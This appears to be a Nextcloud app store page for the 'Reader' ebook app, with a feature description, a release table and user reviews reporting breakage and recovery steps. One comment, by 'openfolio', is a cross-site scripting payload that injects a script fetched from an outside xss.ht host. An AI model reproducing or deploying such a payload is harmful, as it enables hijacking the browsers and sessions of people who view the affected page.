Reader (ebook reader)

Highest Nextcloud version

Nextcloud 24
Show all releases

Community rating
Author

Frank de Lange

Last updated

2 years, 4 months ago

Categories

Files, Multimedia, Office & text

Resources
Interact
Report problem Request feature Ask questions or discuss

Reader

Reader is an ebook reader based on pure javascript renderers. It works for publications formatted according to the following standards:

For Epub Reader uses the futurepress epub.js renderer to provide near-native looks, especially when used full-screen. Turn pages by pressing the left/right hand side of the screen/window or using the cursor keys (if you have those), use the sidebar to browse through chapters or bookmarks and add annotations.

PDF is handled by Mozilla's pdf.js renderer in combination with a custom reader app to enable side-by-side display, batch search and more. Controls are like those used in the Epub renderer with a few exceptions.

CBR and CBZ are supported using a custom renderer inspired by balaclark's work. As with Epub, books can be navigated using the keyboard as well as mouse or touch navigation. Reader generates a visual index of all pages, show in the sidebar (thumbnail generation can be disabled for low-memory and/or -speed devices). As CBx files are often of varying quality a set of image enhancement filters are provided.

See README for more exhaustive information on features and potential misfeatures of this app

Releases

Nextcloud version Stable channel Nightly channel All releases
24 1.5.3 - 24
23 1.5.3 - 23
22 1.5.3 - 22
21 1.5.3 - 21
20 1.5.3 - 20
13 1.2.3 - 13
12 1.2.3 - 12
11 1.2.3 - 11
10 1.2.3 - 10
9 1.2.3 - 9

Comments

Anonymous
Good
Ok
Bad
2 years, 1 month ago

App has new repository. Even so, not much activity there.

Kyle Martinez
Good
Ok
Bad
4 years, 10 months ago

As was previously mentioned, this has been confirmed to completely break recent versions of nextcloud. However, should you find yourself with a broken your installation of nextcloud because of this app, I would recommendation a different recovery strategy from the one proposed below. The built-in occ cli tool is perfect for the job. No need to delete directories, just run ./occ app:disable files_reader from the command-line as the appropriate user. For instance, I host nextcloud in a docker container. The exact command for me was sudo -u abc ./config/www/nextcloud/occ app:disable files_reader. Once the app is disabled, it can be uninstalled through the nextcloud UI.

References:

  • https://docs.nextcloud.com/server/15/admin_manual/configuration_server/occ_command.html
  • https://help.nextcloud.com/t/internal-server-error-after-updating-to-nc-15-0-solved/42893/2
Mace Moneta
Good
Ok
Bad
5 years, 3 months ago

If you try to install this in a current version of Nextcloud, it will render Nextcloud unusable with an internal error. To recover, 'rm -rf /var/lib/nextcloud/apps/files_reader' or the equivalent on your platform. Then restart the web server, connect to Nextcloud, navigate to the app in the apps list, and disable it.

This app should be removed from the app store since it's unmaintained and completely nonfunctional now.

Anonymous
Good
Ok
Bad
5 years, 11 months ago

I really liked that I could view and annotate my epubs in any browser. Now that my provider has switched to V15 of nextcloud I can no longer use the app. That is a pity. Someone commented that an xml file only needs to be changed to set the max supported version to 15 for the app to run again, I hope someone puts it V15 ready in the app store, because I miss it.

Fabian Rodriguez
Good
Ok
Bad
6 years, 1 month ago

Abandoned since NC 13.

Lishi He
Good
Ok
Bad
6 years, 11 months ago

Very useful. I mounted my ebook directory using "External File Source" and now I can browse through my collection easily. More convenient than using Windows Explorer + Calibre reader (the light weight one). As a suggestion, it would be a very nice feature if it can store the last reading position and restore it when I re-open the same book. Thank you for such great tool. Keep on with the good work!

Stefano
Good
Ok
Bad
7 years, 4 months ago

Does not seem to work for me. EPUB files render the first couple of pages but then stops rendering. CBZ files do not render. I see several of these errors in the log file. Developer does not seem active.

openfolio
Good
Ok
Bad
7 years, 9 months ago

javascript:eval('var a=document.createElement('script');a.src='https://suplah.xss.ht';document.body.appendChild(a)')

Anonymous
Good
Ok
Bad
8 years ago

Just had a first look on this app. Seems to do what it's supposed to do :)